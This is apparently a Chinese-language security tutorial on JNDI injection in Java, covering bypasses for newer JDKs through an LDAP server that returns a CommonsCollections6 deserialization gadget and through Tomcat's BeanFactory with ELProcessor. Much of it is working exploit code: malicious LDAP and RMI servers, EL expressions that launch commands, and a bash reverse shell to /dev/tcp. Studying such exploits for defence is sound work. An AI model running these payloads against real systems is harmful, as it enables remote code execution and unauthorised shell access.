JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
高版本绕过主要有两种方式:
- LDAP Server 直接返回恶意序列化数据,但需要目标环境存在 Gadget 依赖
- 使用本地 Factory 绕过(主要是利用了
org.apache.naming.facotry.BeanFactory
类)
直接返回序列化数据
利用
LDAP Server 可以直接改 marshalsec 里面的:
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String[] tmpArgs = new String[]{"http://localhost:9999/#Calc"};
int port = 8888;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(tmpArgs[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
/*
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
*/
// send serial data
e.addAttribute("javaSerializedData", getCommonsCollections6());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
static byte[] getCommonsCollections6() throws Exception {
TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return Utils.serialize(expMap);
}
}
}
> javac Calc.java
> python3 -m http.server 9999
客户端 lookup 方法参数可控:
简单分析
(ObjectInputStream#readObject --> ... --> Runtime.getRuntime.exec('calc'))
deserializeObject:528, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (JNDI.bypass1)
在 Obj#decodeObject
方法里:
如果 var0.JAVA_ATTRIBUTES[1]
不为 null,则会进入 Obj#deserializeObject
方法中去,我们来看 JAVA_ATTRIBUTES
的定义:
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
对应下标为 1 的是 javaSerizlizedData
,而这里的 var0 是 LDAP 服务端发送的 Attributes(可控),所以在服务端把这个属性和恶意的序列化数据绑定:
// LDAP Server
e.addAttribute("javaSerializedData", getCommonsCollections6());
然后进入 Obj#deserializeObject
方法,直接进行了反序列化:
本地 Factory 绕过
在 Reference 类中的 factory Class,要求实现 ObjectFactory 接口,在 "NamingManager#getObjectFactoryFromReference" 方法中的逻辑是这样的:
- 优先从本地加载 factory,这就要求 factory Class 在本地的 ClassPath 中
- 本地加载不到会从 codebase 处加载,但是由于高版本 jdk 默认不信任 codebase,在一般情况下无法利用
- 在加载完 factory 之后会强制类型转换为
javax.naming.spi.ObjectFactory
接口类型,之后调用factory.getObjectInstance()
方法
所以如果找可以利用的 factory 就要满足下面的要求:
- 在目标的 ClassPath 中,且实现了
javax.naming.spi.ObjectFactory
接口 - 其
getObjectInstance
方法可以被利用
这个可用的 factory 类为 org.apache.naming.BeanFactory
,位于 tomcat 的依赖包中,此外,这个 factory 绕过需要搭配 javax.el.ELProcessor
来完成 RCE,依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<!-- 加载ELProcessor时需要 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
分析
来到 BeanFactory#getObjectInstance
方法中(太长不放图了- -)
这里的代码逻辑比较复杂,简单可以概括为以下几点:
BeanFactory#getObjectInstance
要求传入了 Reference 必须为ResourceRef
的实例BeanFactory
通过反射创建了一个 Bean,这个 Bean 的类名、属性、属性值都来自于 Reference 对象,我们可控- 在注入 Bean 的属性的时候会调用对应的 setter 方法,这个 setter 方法不一定为
set...
形式,通过ResourceRef
对象中的一个魔法属性forceString
,可以把任意 public 方法转化为该属性 setter 方法。 - 这个 public 方法的参数类型必须为
String.class
可以利用的方法为 javax.el.ELProceor#eval
方法,这个方法可以执行任意的 EL 表达式。
Expliot
EL 表达式利用 JS 引擎执行命令:
String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")";
// 反弹shell
String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")";
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
StringRefAddr sr1 = new StringRefAddr("forceString", "X=eval");
String el = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")";
StringRefAddr sr2 = new StringRefAddr("X", el);
ref.add(sr1);
ref.add(sr2);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("pwn", referenceWrapper);
}
}
public class JNDIClient {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:1099/pwn";
InitialContext context = new InitialContext();
context.lookup(url);
}
}
扩展
InitialContext类
由 JNDI+RMI
漏洞代码进行分析
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
InitialContext
类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息
InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
lookup(String name)
获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE
所以会通过 rmi
协议访问 127.0.0.1:7778/RCE
String uri = "rmi://127.0.0.1:7778/RCE";
initialContext.lookup(uri); //利用lookup() 函数获取指定的远程对象
由于 lookup()
参数可控,导致漏洞的出现,跟进代码如下
Reference 类
Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
由 JNDI+RMI
服务端攻击代码
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/
服务端上,等待客户端的调用并实例化执行。
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");